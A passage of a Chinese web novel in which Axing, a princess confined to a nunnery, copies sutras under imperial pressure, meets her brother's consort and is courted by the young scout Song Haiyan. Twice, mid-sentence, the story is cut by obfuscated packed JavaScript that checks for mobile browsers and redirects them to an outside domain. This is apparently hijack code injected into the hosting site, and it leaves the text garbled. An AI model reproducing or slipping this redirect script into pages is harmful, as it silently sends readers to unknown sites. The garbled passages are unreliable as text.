宋海晏道:“那天陶罐碎了之后,你把碎片埋在了阿难殿后的梅花树下。我离开前的那天晚上,特意去殿后将碎片挖出来,拼凑出原来的形状。后来我去了附近的江宁城,如果整个江宁城都找不到一模一样的罐子,那也罢了。可如果让我找到了,我总归是要回来一趟,将这只罐子还给你。总不能因我的过失,叫你失去心爱之物……” “我在江宁城逛了整整一天,每一家店铺都问了一遍,总算找到了你手中这只陶罐,所以我又回到这里。”他的神色带着几分调侃的意味,得意道:“阿幸,按我们那边的规矩,如果惹朋友生气了,就要以礼物相赠。对方如果收下礼物,就表示既往不咎。阿幸你收下的我的礼物,代表过去的事一笔勾销,不管我从前做错了什么惹你生气,你都不可以再记挂在心上……” 阿幸内心深深叹了一口气。 他费了偌大心机,重新折返回来。原来是以为惹到她,眼巴巴地买了礼物过来赔罪。可他又何尝做错了什么,只是喜欢上一个错误的人罢了。 宋海晏忽又敛了笑意道:“阿幸,你如果不喜欢我,不愿意再见到我,只要你说一句话,我马上就走,绝不多留一刻。不必再拿匕首出来,这样辱没了我,又何尝不是辱没了你自己?” 他说完了之后,便定定看着她,似乎在等着她做最后的宣判。他脸上原先的得意和调侃已然褪去,取而代之的是一种近乎凝重的平静,仿佛在告诉她,不管她做出什么样的决定,他都会坦然受之。 然那双眼中,依然有一道隐隐的暗光,铭刻着期待,还有向往。 阿幸垂下头,不去看他。她对自己说,现在就作出决断吧,将他从药师庵逐出去,也将她从你心里最幽微之处逐出去,这样你便不会再生出烦恼之心。 可她心里到底是生出憎恨来。 人知好色,则慕少艾。 她并非自愿出家为比丘尼,也从不信什么佛法。如果没有那一纸敕命,她如今的年龄,母亲或许正在给她物色驸马。金枝玉叶、凤子龙孙,她想要什么样的人儿会得不到? 更何况,宋海晏本也恋慕于她——否则这枯寂禅院,又有什么值得他去而复返? 人生短短数十年,眼前光阴不过白驹过隙、浮光掠影。她的一生囿于这方禅院便罢了,难道竟连这一点罅隙间的欢悦也不配拥有吗? 宋海晏见她低头,久久没有言语,脸色变得苍白,那抹暗光也渐渐消失,他拱手道:“看来是我唐突,令你感到为难。我明白你的意思了,我这便离开——” 他转身,大步向知事堂的大门走去。 “等等。”身后传来少女的声音,带着几分急促:“上天有好生之德,宋公子既然救下这一窝斑鸠,可不能就此抛下不管。翻墙爬树给它们捉虫子,这些我可不会……” 宋海晏脚步猛地一顿,仿佛被一股无形的力量拉住了。他转过身,眼中的光霎时间明亮起来,嘴角扬起,露出一抹难以掩饰的笑意:“遵命——” 阿幸回到自己的房间,见她生病前没有写完的《金刚经》已经全部写完,她随意翻开一卷,其中簪花小楷,和自己的笔迹果真一模一样,若非她提前知道,决计看不出来。 她不由转头看向倚门而立、濯如春柳的少年郎,问道:“你是怎么做到的?” 宋海晏脸上颇多得意之色,道:“这就是我们斥候行当的本事了,有时候截获敌方情报,少不得偷梁换柱,换上些假消息再原样送回去。别说是你的字,就算是皇帝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138402|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,我也能写得一模一样,叫他自己都认不出来。” 这话若叫怕旁人听去,少不得一个大不敬之罪。阿幸微微摇头,板起脸孔:“宋公子,慎言。” 第二天一早,韩常侍依约来到药师庵,见《金刚经》果然如期完成,大为和悦,念完皇帝嘉勉的口谕后离开。 送走韩常侍之后,阿幸的日子轻松了许多。名义上她要照料宋海晏这“病人”,便不需要去执事长老处领每日的杂役,早课后就可以回到知事堂。 而“病人”每天爬树上墙,捉虫子喂食斑鸠,忙得不亦乐乎,并不需要她照料,她的日子便分外清闲起来。 阿幸无事可做,见宋海晏常常放在手边的那本《六韬》正搁在门槛上,就顺手捡起来。 她三岁入药师庵修行,但她的母亲——太子妃苏氏仍怀有一些不切实际的念头,冀望待她成年之后,皇帝能降下恩典,许她还俗归家,婚于世家。又恐她长于庵堂,不知诗书礼仪,为高门世家所耻。自她八岁起,便每年派遣女学士到庵中,教授《诗经》《礼记》以及闺中女子常读的《女诫》《列女传》等书。 至于《六韬》这等兵家之书,她当然从未读过。 她见书上有折痕,想来宋海晏上次正读到此处,便将折痕展开,仔细看去。 【文王问太公曰:“何如而可以为天下王?” 太公曰:“天下非一人之天下,乃天下之天下也。同天下之利者,则得天下;擅天下之利者,则失天下。天有时,地有财,能与人共之者,仁也;仁之所在,天下归之……”】【1】 她读到此处,心中忽然升起一股奇异的感觉。她以为兵家之书,无非讲如何训练军士、如何排兵布阵、如何克敌制胜等杀伐之事,没想到开卷竟是“仁之所在,天下归之”,竟然颇有趣味,便顺着读了下去。 她沉醉书中,浑然不知光阴之促,等回过神来,已是中午。宋海晏已在矮几上摆好斋饭,却并未动筷,只双手支颐,一双眼灼灼地看着她。 见她转头,宋海晏方笑道:“静慧师太已经来过了,我见你读书入神,便没有叫你。没想到你会对兵书有兴趣,我家中姊妹们虽也读书,但除了我妹妹碧棠以外,大多喜爱《诗经》《乐府》之类,从不看这些。难得这么枯燥的书你也读得进去,阿幸你竟是个女兵仙?” 阿幸脸颊微红:“我从前没读过这些书,所以感到新奇。” “这世上你没有读过的书可多着呢,我家中的藏书堆满了整整三间屋子,可惜我这次就带了一本《六韬》,还是防止回去之后父亲考查我的功课。” 宋海晏忽地想起什么,腾地站了起来:“你要是喜欢读书,这也好办,我上次路过鸡鸣镇,那里有一间书铺,我现在就去买些新书来……” “不用这么麻烦——”阿幸连忙道,可她还没说完,少年身影如风,已经跃过围墙,消失在药师庵的黛瓦之间,竟是连午饭也顾不得吃。 少年心中像是燃着一团急于燎原的野火,要将一腔炽烈都捧出来。 等黄昏时分,阿幸才又看到宋海晏。 他背着一个大大的包袱,从药师庵的某处围墙翻了进来。那包袱似乎比他的人还重,宋海晏一个趔趄,差点被包袱压倒在地。 阿幸看着散落一地的书册,怀疑他简直将书铺的书全部买了一本回来。少年浑身是汗,衣衫都已湿透,瘫坐在地上喘着粗气,脸上却满是得意之色,笑道:“阿幸,你该多读书。你读了书,就会知道外面的世界比这小小一座药师庵大多了,也有意思多了——” 13. 第十章 骖鸾驾凤 有了这些书,阿幸不再为每日无所事事而发愁。 每日早课之后,她就回到知事堂找出一本书来看。宋海晏买的书类别很多,除开儒学经典外,还有些阿幸闻所未闻的书。譬如《冥寰录》、《鬼狐传》,记载了一些民间的鬼神故事。又如《山川地理志》和《舆图纪略》记载了山川河流走向、都市城镇风貌,连北方的北魏、西边的巴蜀都有记载。还有《大楚岁时记》、《九州风土记》,记载了各地的节日习俗、民间传说等。 如宋海晏所言,这些书向她展示了一个与她所知的截然不同的世界。 她从前亦知药师庵外,有着广阔的世界;读了这些书之后,她才知道,这个世界比她想象中的还要大得多,是穷尽她的想象,也无法达到的宽广壮阔、生机勃勃。 她废寝忘食地阅读,恨不得将书中的一切都装进自己的脑海里。然而这般畅意的日子并没有持续多久,二十日之后,她名义上的嫂嫂,皇太孙萧樗的正妃齐氏到药师庵进香,宣她觐见。 *** 太孙妃名为齐宝珠,出身江左第一门阀齐氏,是当今皇后娘娘的内侄孙女。 数十年前天下大乱,当今天子萧胥于广陵起兵,江左齐氏第一个响应,不仅出钱出粮出人,并且将嫡长女齐明霜——即如今的中宫皇后嫁给萧胥为妻。后来萧胥果真一统整个南方,建立大楚政权,齐氏也水涨船高地成为大楚第一门阀,族中不少子弟都身居高位。其中官位最显赫者便是如今皇后的胞弟齐鸿,因功勋卓著封大司徒,位列三公,金印紫绶,齐氏一族荣华极矣。 萧胥与齐皇后可称琴瑟和鸣,朝野民间皆知帝后感情极好,后宫不过形同虚设而已。然而这般美满的婚姻亦有缺憾,皇后一连生下四子,皆幼年夭亡。唯有第五子萧灵玉长成,被封为太子,娶妃苏氏,可惜婚后不久,太子萧灵玉亦病亡,这对帝后和江左齐氏都是沉重的打击。 太子病故之后,齐家接连送了三个女儿入宫,期待能生下储君,继续维持齐氏一门荣耀。然而皇帝中年丧子,对此力不从心,后宫之中并无什么好消息。直到两个月后,太子妃苏氏的肚子先传出了喜讯,太医诊出苏氏怀了遗腹子,还是一对双胞胎。 又过了七个月,这一对双生儿女呱呱坠地,让帝后及江左齐氏都欢欣至极。男孩儿被起名为萧樗,一出生就被册封为皇太孙,这个流淌着萧氏和齐氏之血的男孩儿承载着大楚王朝的希望,以及齐氏一门的全部厚爱。 萧樗十五岁时,司徒公将自己最心爱的孙女,有着大楚第一美人之称的齐宝珠嫁给他,成为皇太孙妃。 皇太孙妃到药师庵进香,仪仗自然是非比寻常。 金甲卫持戟肃立,羽林郎执旌旗分列两侧,旌旗猎猎,随风翻卷,气势恢宏。舆车以金玉为饰,四角悬挂鸾铃,行进时铃声清脆,宛如天籁。 舆顶覆以九龙华盖,龙首昂然,龙鳞熠熠,金光四射,映照天地。舆内铺设锦褥,绣有百鸟朝凤之图,太孙妃齐宝珠端坐其中,一头秀发挽作高耸的巫山垂云髻,鬓插金步摇,颈佩红璎珞,羽衣流霞,华服垂地,宛若九天玄女临凡。 药师庵很少迎此贵客,不敢轻忽。静仪师太率二十四名比丘尼到山门亲迎,将太孙妃引入主殿进香。礼毕后,静仪师太请她在蒲团上坐下,二十四名比丘尼将她围在中间,念诵药师佛心咒,为其祈福禳灾。之后,才将皇太孙妃迎入一处佛堂奉茶。 药师庵用来待客的茶名为松叶银针,入口甘醇,后味略带着清苦。齐宝珠饮不惯这等粗茶,只略沾了沾唇,向静仪师太微笑道:“本宫听闻太孙有一皇妹,自幼在这药师庵修行。本宫与太孙结缡二载,还未曾见过皇妹,不知师太可否将皇妹请来,让我姑嫂二人一诉衷肠?” 静仪师太愣了片刻,齐云珠开门见山,要求见阿苦,倒不像是来药师庵进香,倒像是专为阿苦而来。但天家的事,她也插不进手,行了佛礼道:“阿弥陀佛,贫尼这便着人去请。” 阿幸听闻齐宝珠要见她,也略微愣了愣神。她对这位嫂嫂的了解,仅限于两年前母亲在书信中提过一次,说是她的哥哥娶妃齐氏,盼她在药师庵再捱两年,等嫂嫂添了小小皇孙,皇帝就不会因为子嗣单薄之事烦心了,母亲再设法去御前求情,允许她还俗。 后来母亲的信中再没有提及这位嫂嫂,倒是祖父因为太孙的宫妃流产之事下过几次申斥她的旨意,为此她手上又添了许多新茧,想来嫂嫂添丁之事并不顺利。 太孙妃要见她,她并没有拒绝的理由。齐宝珠出身名门,有着太孙妃的身份,将来更是一人之下万人之上的皇后娘娘。她虽然有着公主的名分,却早为天家所弃,落地凤凰,岂能与逐云而上的青鸾相比? 阿幸入殿时,见齐宝珠坐于上首,华服明妆,宛如珠玉,朴陋佛殿也被照得满堂华彩,对比她一身素衣简服,何异于云泥之别。她朝太孙妃俯首下拜:“阿苦见过太孙妃。” “皇妹请起。”齐宝珠连忙将她扶起,仔细端详片刻,含笑道:“我早听母亲说皇妹与太孙生得一模一样,今日一见,果然如此。” 齐宝珠将阿幸拉到自己身边坐下,道太孙虽在宫中,却日夜思念皇妹在庵中受苦,又说自己婚后一直想来庵中探望,只是宫中事多不得空云云。又命侍女取出宫中御制的糕点,请她品尝,说是特意给她做的素糕,念她在修行之中,连一丝荤油都没放。 阿幸这些年对金陵皇城中的亲人早冷了心肠,只将满腔辛酸收入腹中,将素糕吃了两口,又刻意作出些笑容来,谢过太孙及太孙妃的记挂。齐宝珠又问她这些年在庵中修行如何,衣食是否合口味,住得可还习惯等,阿幸也一一作答。 寒暄完毕,姑嫂二人之间已极亲昵,齐宝珠拉着阿幸的手,说道:“皇妹,嫂嫂今日来这药师庵,是有一事相求。” 阿幸心中早知事无好事,面上却不显,笑道:“嫂嫂说哪里的话?嫂嫂您身份尊贵,将来大楚国祚都系于您一身,您有事吩咐,臣妹自然尽力,何用一个求字?” 齐宝珠听了这话,神色间极受用,她将手放在自己小腹上,微笑道:“不瞒皇妹,自我嫁给太孙两年以来先后两次有孕,可惜都没能保住。前几日,我觉得神思倦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138403|180362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怠,传太医诊视,才知又有喜了。我想这应该是皇妹上个月抄《金刚经》二百卷,积福所得的福报。” 阿幸心中只觉荒谬无比。她抄经积福,却并不是自己得福报,这福报反而落在别人身上,她曲意逢迎道:“这是嫂嫂福德深厚,臣妹不敢居功。” “皇妹过谦了,谁人不知道十四年前觉通禅师之言,是皇妹你每日于佛前诵经祈福,方才消得业孽,保萧氏一门子息繁盛。我今来这药师庵,也正是为着此事。”齐宝珠道:“前日太医说了,我这脉象有力,腹中多半是个男胎,然我前面滑胎两次,这一胎未必能保住。因此,我想请皇妹早晚为我腹中孩儿持诵心咒,佑他能平安生下来。” 阿幸道:“此事不难。嫂嫂既然开口,臣妹自当奉行。” “此为其一。”齐宝珠微笑道:“二者,我想请皇妹再抄《金刚经》一百卷,我想分发于东宫宫人,人人持诵,为我儿多积福报。” 又是抄经? 阿幸忍不住摸了摸自己因为常年抄经弯折的指骨,小心试探道:“上个月不是刚抄了二百卷吗?” 齐宝珠道:“那是太孙病了,东宫宫妃又有滑胎之事,因此陛下圣意,命皇妹抄经为太孙积福。如今太孙已大安了,我想这抄经积福之事果真灵验,才到这药师庵来,想请皇妹你再为我腹中孩儿抄经积福,教他比之众兄弟更康健些,将来自然更得皇帝陛下的钟爱。” 阿幸哭笑不得。 齐宝珠之意,她上次抄经是祈东宫子息繁盛,如今已经应验。所以这位嫂嫂到药师庵来,求自己单独为她腹中孩儿抄经积福,不求雨露润泽整座东宫,只望自家麟儿能得万全。 齐宝珠俨然将她当作救苦救难的活菩萨,却浑不知她这“菩萨”不过肉体凡胎,连自身都难以保全,又怎能庇佑他人? 见她不言语,齐宝珠又道:“皇妹,并非我偏私。在这宫城之中,属于你的东西你不争不抢,就会被别人拿走。皇妹你想,你的祖母是我的姑祖母,算起辈分来,你也是我的表妹,身上有着四分之一的齐氏血脉。将来我腹中的孩儿,与皇妹的关系自然更亲近些。他若能平安生下,成为储君,对皇妹自然与别人不同。再者,我怎会平白无故地多提这些要求,事成之后自然少不了皇妹的好处……” 齐宝珠说了这么多话,颇为口渴,将那杯清苦庵茶饮尽,继续道:“我了解母妃的心愿,她认为皇妹早过及笄之年,希望你能早点还俗,再许一门好亲事。我腹中孩儿若是平安生下,自然是嫡子,这大楚一朝的江山后继有人,便解了陛下悬于心头的大事。届时,我也会往椒房殿求皇后娘娘,求她在陛下耳畔吹吹风,让皇妹能够还俗,再招赘一位驸马,岂不甚好?” “不瞒皇妹,我连驸马的人选都帮你物色好了。我有一位远房族兄,名为齐韶。虽然不是齐氏嫡支,但其人风神秀彻、文表出众。今年方十九岁,被我爷爷称为江左齐氏年轻一代最出众的人物,如今在东宫担任詹事一职,与皇妹正是良配,皇妹以为如何?” 齐宝珠说完,一双凤眼热切地看向阿幸,等着她应允。 14. 第十一章 关关雎鸠 阿幸轻轻叹了一口气,道:“嫂嫂,我在药师庵中多年,也习得些许医术,不知嫂嫂可愿意让我问脉?” 齐宝珠道:“这当然可以。”她伸出右手,阿幸按了片刻,又换了左手,重新诊视一遍。 药师庵专为女客治病,阿幸从前跟随静仪师太也诊过不少孕脉,有过一些经验。这种孕妇多次滑胎流产之事,多半因为当丈夫的身体不好,精气不足,致使孕胎难以长成。就算寻医问药,强行保胎,生下的孩子也天生不足,容易夭折。 她的哥哥自幼身体就不大好,又娇生惯养地长大,皇帝为子嗣计,年方十五岁便为其充塞后宫,身体早亏空了,宫妃就算有孕,也极难生下身体健全的孩儿。 齐宝珠的脉象,果然证实了她的猜想。这一胎,正常情况下极难保住。她能看出来,宫中的太医自然也能看出来。齐宝珠来到药师庵,将她当做最后的救命稻草,甚至不惜许以帮她离开药师庵的承诺,连齐家的天之骄子也愿许给她做驸马。 可抄经积福……她摸了摸自己受伤的右手,心道,这损他人福德积的果报真的能让齐宝珠得偿所愿吗? 齐宝珠见她久不言语,面色也紧张起来:“皇妹,莫非脉象不太好?我出门之前,太医诊过脉,他说只要好好保胎,孩子是不会有问题的,莫非那庸医骗我——” 她说到最后,声音也有了切齿的厉色。 阿幸摇了摇头,脸上勉力挤出一抹微笑来,柔声宽慰道:“没有,孩子挺好的。如太医所言,嫂嫂好好养胎,一定能生下麟儿。臣妹也会早晚为侄儿诵经持咒,再抄《金刚经》两百卷为他祈福……” “这就好……”齐宝珠放松下来,脸色到底带了一抹苍白,她身边的奉御女官上前道:“殿下,已到午时末,该起驾回宫了。” 两人这一番对谈下来,齐宝珠早已疲乏,阿幸既同意抄经祈福,她此行的目的已经达到,再无逗留的道理。她在两位宫娥的搀扶下站起身,向阿幸道:“皇妹,时辰不早,我该回宫了。经书我两个月后差人来取。我允诺之事,也请皇妹放心,只要我诞下皇儿,江左齐氏没有办不到的事……” 阿幸目视着太孙妃走到佛殿门口,忽然叫住她:“嫂嫂留步。” 齐宝珠转身:“皇妹还有何事?” 阿幸问道:“嫂嫂,你前来药师庵,太孙殿下……我哥哥他可知晓?” 齐宝珠笑道:“自然知道,阿樗前日见了皇妹抄的《金刚经》,还夸皇妹字写得极好呢,说自己就算再练一百年,也写不得像皇妹一样的好字。还说幸好有皇妹你为他积福,他的病才能好呢。” 阿幸:“哥哥可有托嫂嫂带话给我?”齐宝珠摇了摇头。 阿幸胸口一闷,只觉一阵钝痛。她又问道:“母妃呢,她可知晓此事?” 齐宝珠道:“不知。母妃这些年诚心礼佛,一个人住在西苑,她好清净,不喜欢被打扰。我只有每月初一十五晨昏定省之时,才会见到母妃。皇妹可是有什么话要我带给母妃或者太孙殿下?” “没有了。”阿幸跪下行礼:“臣妹恭送太孙妃娘娘。” 江南的暮春已行至终末,阿幸回知事堂时,见苔阶积满杨花,恍若经年未扫之积雪。有风徐来,旋起团团絮影,栖于经幡之上。 她低头看着脚下,杨花被她的脚步轻轻带起,又缓缓落下,如同她此刻的心情,沉重而无法摆脱。 她在齐宝珠面前并没有说实话,宁愿承诺抄《金刚经》两百卷,给她一个虚无飘渺的希望。 其实这实话又何须她来说,齐宝珠提及太医时那惨白的脸色,那声色俱厉的语气,彰示她早已知道自己脉象不好。来药师庵找她,也只是强行给自己添一点信心罢了。 姑嫂二人,默契地用谎言维持着皇室子息不蕃背后虚假的体面。至于帮她离开药师庵的许诺,人中龙凤的齐家驸马,不过空口一言罢了,谁又能当得真? 阿幸心底渐渐生出绝望来。 她有一种预感,她这一辈子再也不能离开药师庵了。 她的哥哥很难有体格康健的孩子,而她的祖父不会认为是皇孙身体亏虚,只会因十四年前觉通大师的一番话,将此事继续归咎于她礼佛之心不诚。 她原以为与萧樗同胎而出,兄长对她多少有点手足之情。将来他继位登基,或许能看在同胞之情上放她出去。今天听齐宝珠话意,兄长分明也同皇祖父一样,认为将唯一的妹妹禁锢在庵堂为他祈福延年是天经地义之事。 他今日身体好了,尚能感念妹妹为他积福,若是哪一天缠绵病榻,是否会像祖父一样,对她生出怨恨来? 阿幸不敢深想。唯一可确信的是,她将在这一方庵堂中,虚度青春年华。她会有永远也写不完的经卷,用尽力气为萧家曾经的血腥杀戮赎罪,直到她的手再也握不得笔为止。 可皇权的罪孽,又何止杀戮而已? 阿幸一步一步走到知事堂门前,推开那扇棕褐色的大门。 大门洞开,院内阳光斑驳,日影错落。那株老梨树已生得枝茂叶秾,全然看不出初春时节萧疏虬结的影子。 宋海晏坐在在梨树底下,一只斑鸠落在他右肩上,一只落在他手上,还有两只绕着他的头顶盘旋飞翔,发出咕咕的鸣叫声——自上次宋海晏救了这一窝的斑鸠,每日不辞苦劳,捉虫将它们喂养长大,知事堂便常见这样的情形。斑鸠们将宋海晏当做它们的母亲,虽然早就可以自行觅食飞翔,但饱足之后,还是喜欢围在他的身边,叽叽咕咕叫个不停,让这清冷的禅院也热闹起来。 宋海晏见她走入,脸上的笑容瞬间明亮起来,招手道:“阿幸,过来——” 清风扫过廊檐下的铜铎,发出清脆的鸣响,余音在梨树枝桠间荡开,久久不息。阿幸内心忽地平静下来,这一路积郁之气也消失无踪。 这一方阎浮世界中,她拥有和得到的东西的确少得可怜,却也绝非一无所有。 至少这座温暖、明净的 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他丝毫不在意阿幸在旁,展信读了起来:“阿兄,你到药师庵养病已二月有余,伤势如何,可好全了吗?端午庐江有龙舟赛,兄长不至,谁可夺魁?这两个月小妹改进了阿兄常用的讯箭,使之重量更轻、射程更远,阿兄必定喜欢。妹碧棠字。” 他读信的时候,神情极柔和,唇角轻轻上翘,显是欣悦极了。阿幸也不由得被这笑容感染,问道:“是你妹妹想你了,寄信来催你回去?” 宋海晏轻笑一声:“她哪里是想我?是五月端午将近,她怕没有我镇场子,龙舟赛上我们宋家说不定就输给赵家、陆家他们,大大有损她宋碧棠淮南第一女军师的名声。还有,龙舟赛的彩头足足有五千钱,她想要这笔钱很久了,要是没我镇场子,这钱可不易得……” 阿幸忍不住道:“你们兄妹感情真好。” 宋海晏哈哈一笑,眉眼都飞舞起来,说道:“当然,我这个妹妹极聪明,我们淮南军中各种军械、武具、舟船她都了如指掌,上次宝瓶口的大胜,也有她一份功劳。我这个做兄长的常常以她为傲——” 阿幸想起上午的事,眉间多了一丝阴霾,低声道:“其实,我也有一个哥哥……” “哦?”宋海晏第一次听她说起家人的事,问道:“那他一定也很疼爱你吧?” “不,我自幼离家,他大概已经不记得我了。”阿幸抬起头,看向金陵的方向,道:“家中的人都不记得我了……就连我的母亲,或许也已经忘了我的模样了……” 她闭了眼,将所有情绪都敛入一双黑色瞳孔:“有时候,我宁愿他们彻底将我忘了……” 少女茕茕孑立,声音极低,嗓音中带着说不出的氐惆,如同孤飞于天地的雏鸟。宋海晏的心瞬间揪作一团,“阿幸,我不管别人是怎么样的。我会将你的模样放在心里,我会永远记得你——” 15. 第十二章 春夜胧月 “对了。你出去一趟,错过了午饭的时辰,不如尝尝这个……”宋海晏忽想起什么,从梨花树后拿出一只竹盒,献宝一样托于阿幸面前,说道:“今早陈伯从庐江回来,除了带回那只镔铁箭,还带了这个。” 他打开盖子,里面是某种肉脯,呈红褐色,外面还裹着一层蜂蜜。用竹屉分开,一个一个排列,极为精致,一看就是出自高门大家。另有一只小小雕花竹筒,装着数根竹签,作为取食之用。 宋海晏解释道:“这东西叫素鹿炙。我母亲闺阁时最喜欢吃鹿肉,嫁给我父亲后,顾念他在外征战、兵凶战危的,便开始潜心向佛,为父亲祈福,戒食荤腥。她馋鹿肉,又不想破戒,就找佛寺的僧人学了一道素斋,用豆粉、竹荪还有蜂蜜制成,不仅外表和烤鹿肉一模一样,连味道也相差无几,馋嘴时就吃一两块。母亲听说我在药师庵的这段时日,都是蒙你照料,所以亲自做了这道素斋,命陈伯快马送来,特地表达谢意……你看,还新鲜着呢…你尝尝吧……” 阿幸本不太饿,见宋海晏眼神殷切,夹起一块素鹿炙放入唇中。刚入口时,是蜜糖的清甜,再往下咬时,便觉得一阵恶心,竟将那素鹿炙全部吐了出来。她自三岁入庵修行就吃斋茹素,从未食过肉,没想到自己竟连与肉炙味道相近的素食也吃不得。 宋海晏见状,微微蹙眉:“阿幸,你怎么了?难道素鹿炙有什么问题?” 阿幸摇头:“不,不是,我自幼入庵堂修行,不惯吃肉,就算味道相近也不行,只怕辜负了夫人一番心意。” 宋海晏见她没事,略放了心,倒了一杯水给她漱口,开解道:“吃不惯就不吃了,谈不上什么辜负不辜负的。”那几只斑鸠见地上落了食物,从树上飞下,你一口我一口,很快就将那肉炙啄了个干净,又围着宋海晏,咕咕咕咕地叫个不停,似是还想再要。 宋海晏失笑:“阿幸吃不得这个,倒是便宜了你们……”他也不吝啬,取了肉炙抛在地上,看着斑鸠啄食,又道:“吃吧吃吧,你们也长大了,以后就要自力更生了。过两天我也喂不着你们了……” 斑鸠们不懂人言,上下扑腾,分食肉炙,好不开心。 阿幸听出了言外之意,问道:“宋公子,你决定要离开了吗?” 宋海晏点头道:“是啊,再有半个月便是端午节了。我们庐江属古楚国旧地,素来有祭祀屈原的传统,端午那日,除了举办龙舟竞赛、与民同乐以外,我们庐江各家都会举办端午大祭。我是宋家长子,自我十四岁以来,端午大祭一直都是由我主持,算算时间,我该回家准备这件大事。” 时交未正申初,日影已渐西移,梨树在地上投下幢幢的阴影。宋海晏恰站在有着夕照的一侧,日光强烈,让他脸上的笑容越发清晰明朗。 阿幸站在梨树的阴影之下,清风拂卷,分明是夏初时节,她却觉得有些凉意。 她早知道宋海晏终究是要离开的,从早春到夏初,他已经在药师庵延宕太久了。不提来自庐江的信件,这些天静慧师姑送饭之时,就数次问他伤势恢复得如何,有意无意间暗示药师庵收留男客已是破例,他若是伤愈就该尽快离开。 可当宋海晏当真决定离开时,她的心却像被一只无形的手狠狠攥住,闷痛得几乎喘不过气来。 “阿幸,你站到这边来。”宋海宴见她整个人落在阴影之下,朝她招手。 梨花树下的少年郎君言笑晏晏,如树梢的春月,仿佛她伸手就可触之,摘折而下,却又仿佛高悬于天、遥不可及。 阿幸忽生起一种不真实感,心中无来由地冒出一句话来。 那是《金刚经》中的一句:凡有所相,皆是虚妄。 虚者,是这世间不存在之物。 妄者,是这世间求不得之物。 所以,在那我目中着相的少年啊,你究竟是谁?你从何处来?你真的是这阎浮世界中的一人吗? 还是你根本从不存在,仅仅是我虚妄的想象? 这座小院,这段从光阴罅隙中偷得的时光,是我切实有过的记忆,还是一段空相?是梦、幻、泡、影? 自你离开后,它们还会存在吗? …… “阿幸,阿幸……”清润的嗓音从耳边传来,阿幸回神时,见宋海晏正站在她面前,右手在她的眼前晃动。 “怎么了?” “你刚才突然一动不动,我叫你好多声都没听见,像被魇住了一样……”宋海晏看向落在禅院塔尖上渐落的夕影,道:“太阳要下山了,树底下凉,我们到那边去说话。” “我没事,只是方才在日头底下站久了,有点晕。”阿幸道:“我还有事,先回房了。” 她回到自己的房间,怔怔坐了一会。想起上午的事,终究认命地拿出纸笔,开始抄写经文。齐宝珠一开口就是《金刚经》两百卷,要在两个月之内完成,接下来她只怕更不得喘息。 黑色的墨迹在苇草纸上晕开,夕阳从菱花窗格中透入,在书案上投下光影。她写了两行字,那光影就被一道黑色的轮廓挡住了。 阿幸抬头,见宋海晏不知何时坐在她旁边。他眉宇紧锁,面现忧色:“阿幸,你怎么又在抄经了?”他忽地想起什么,道:“今天上午你离开时,那位通报的比丘尼好像说皇太孙妃要见你,是她命你抄经?” 阿幸顿了一下,点了点头。 “上次也是她?” 阿幸默不作声。是皇帝敕命还是皇太孙妃的恳求,其实没有差别,都是她无法拒绝也无法反抗的事。 她的沉默被宋海晏视作默认,他语气一沉,问道:“为什么?这药师庵的比丘尼加起来也有上百人,她为什么偏偏选中你?” 阿幸无言以对,她淡声道:“宋公子,没有为什么。我生来就是如此命运,金陵城的那些大人物让我做什么,我就得做什么,难道还有什么选择的余地不成?” 宋海晏怔了半晌,他伸手去拿阿幸手中的笔:“我来帮你抄——” “宋公子,你明天就要离开了,就算你能帮我,又能帮多少。” 阿幸拦阻了他的动作,她看向宋 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阿幸瞳孔微微一震。药师庵治病救人并不收钱,很多达官贵人在病愈之后会选择来庵中进香,并撒下成千上万的香火钱,然而这些钱还是太多了,就算买下整座药师庵还有余数,宋家送来这么多钱是想干什么? 宋海晏转过头来,直视她的双眼,真挚道:“阿幸,我给你说过很多我的事,可还有很多没有说。像上次的大战,我虽然受伤,但也领军从北魏手中夺回一座城池。朝廷已经降下封赏犒赏将士,还额外赐下一笔赏钱。我的母亲出身大家,嫁妆不菲,她说我今年十七,也到了该娶妻的时候,便拿了一部分出来,换成银钱,说是要给我娶妻用。加上我从前攒的零花钱,总共加起来,足有四十万之数,就是你眼前看到的这些……” 看阿幸眼神愈发迷惘,宋海晏继续道:“我听说前朝有位皇帝,舍身到寺里舍身出家。朝廷少了皇帝,一切都乱糟糟的。后来大臣们集齐一亿钱,将他从庙里赎回来继续做皇帝。我没有那么多钱,好在阿幸你也不是皇帝,四十万钱或许便够我赎你了。当然,如果静仪师太仍嫌不够,我便只能去找人拆借了,大概也能借得几万钱。如果再不够,我便只能拼着被父亲责骂,去找家里要钱了,无非就是多挨一顿打,总之,庐江宋家总不至于娶不起新妇……” “阿幸,你还记得吗?那天下雨,梨花还开着,我在门槛上坐着,你问我起何心,动何念?这便是我那时想说的话。阿幸,我不知道你是什么人,你是谁都没关系。阿幸,我心悦你,想带你离开这里……” “离开药师庵,外面会有更广阔的世界等着你,就像书里写的那样。” 他定定看着她,那目光宁静温和,无一丝迫人,却灼得她整个人整颗心都发烫。 如春夜之胧月,澹泊照人,葳蕤生光。 他顿了一下,又道:“阿幸,我不知道你的命运是什么,也不知道能否改变一切,但我会是一直抓着你的那只手,我说过要给你祝福,也是认真的。我会尽我所能,让你成为真正的阿幸,你愿意和我一起走吗?” 16. 第十三章 虚相实相 阿幸后退一步,靠上墙壁,身体像失去了全部的力气,缓缓滑落在地。 